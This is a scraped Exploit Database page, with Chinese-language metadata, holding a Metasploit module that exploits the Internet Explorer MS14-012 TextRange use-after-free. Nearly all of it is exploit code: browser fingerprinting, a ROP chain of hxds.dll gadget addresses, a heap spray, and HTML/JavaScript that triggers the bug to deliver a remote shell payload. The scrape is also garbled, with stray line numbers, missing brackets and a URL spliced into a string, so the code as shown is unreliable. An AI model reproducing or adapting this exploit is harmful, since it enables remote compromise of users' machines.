Microsoft Internet Explorer – TextRange Use-After-Free (MS14-012) (Metasploit)

Exploit Database
112 阅读

作者： Metasploit

日期： 2014-03-22
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/32438/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})

super(update_info(info,

'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free",

'Description'=> %q{

This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw

was most likely introduced back in 2013, therefore only certain builds of MSHTML are

affected. In our testing with IE9, these vulnerable builds appear to be between

9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014

(before the patch).

'License'=> MSF_LICENSE,

'Author' =>

[

'Jason Kratzer', # Original discovery

'sinn3r' # Port

'References' =>

[

[ 'CVE', '2014-0307' ],

[ 'MSB', 'MS14-012' ]

'Platform' => 'win',

'BrowserRequirements' =>

{

:source=> /script/i,

:os_name => OperatingSystems::WINDOWS,

:ua_name => HttpClients::IE,

:office=> "2010"

#:ua_ver=> '9.0' # Some fingerprinting issue w/ os_detect, disabled for now

'Targets'=>

[

'Automatic',

{

# mov eax,dword ptr [edx+0C4h]; call eax

'Pivot' => 0x0c0d1020 # ECX

}

]

'Payload'=>

{

'BadChars' => "\x00",

'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500

'DefaultOptions'=>

{

'Retries'=> false, # You're too kind, tab recovery, I only need 1 shell.

'InitialAutoRunScript' => 'migrate -f'

'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday

'DefaultTarget'=> 0))

end

# hxds.dll

def get_payload

setup =

[

0x51C3B376, # rop nop

0x51C2046E, # pop edi; ret

0x51BE4A41, # xchg eax, esp; ret

].pack("V*")

# rop nops

45.times { setup << [0x51C3B376].pack('V*') }

setup << [

0x51C2046E, # pop edi ; ret

0x51BD28D4# mov eax, [ecx], call [eax+8]

].pack('V*')

p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})

Rex::Text.to_unescape(p)

end

def exploit_html

template = %Q|<!DOCTYPE html>

<html>

<head>

<%=js_property_spray%>

sprayHeap({shellcode:unescape("<%=get_payload%>")});

function hxds() {

try {

location.href = 'https://www.exploit-db.com/exploits/32438/ms-help:';

} catch(e) {}

}

function strike() {

hxds();

var fake = "";

for (var i = 0; i < 12; i++) {

if (i==0) {

fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");

}

else {

fake += "\\u4141\\u4141";

}

var elements = [

'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',

'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'

];

for (var i = 0; i < elements.length; i++) {

var element = document.createElement(elements[i]);

document.body.appendChild(element);

}

var tRange = document.body.createTextRange();

tRange.moveToElementText(document.body.children[16]);

tRange.execCommand('InsertInputSubmit', true, null);

tRange.moveToElementText(document.body.children[0]);

tRange.moveEnd('character',4);

tRange.execCommand('InsertOrderedList', true, null);

tRange.select();

tRange.moveToElementText(document.body.children[0]);

tRange.moveEnd('character',13);

tRange.execCommand('Underline', true, null);

tRange.execCommand('RemoveFormat', true, null);

var fillObject = document.createElement('button');

fillObject.className = fake;

}

</script>

</head>

</html>

return template, binding()

end

def on_request_exploit(cli, request, target_info)

send_exploit_html(cli, exploit_html)

end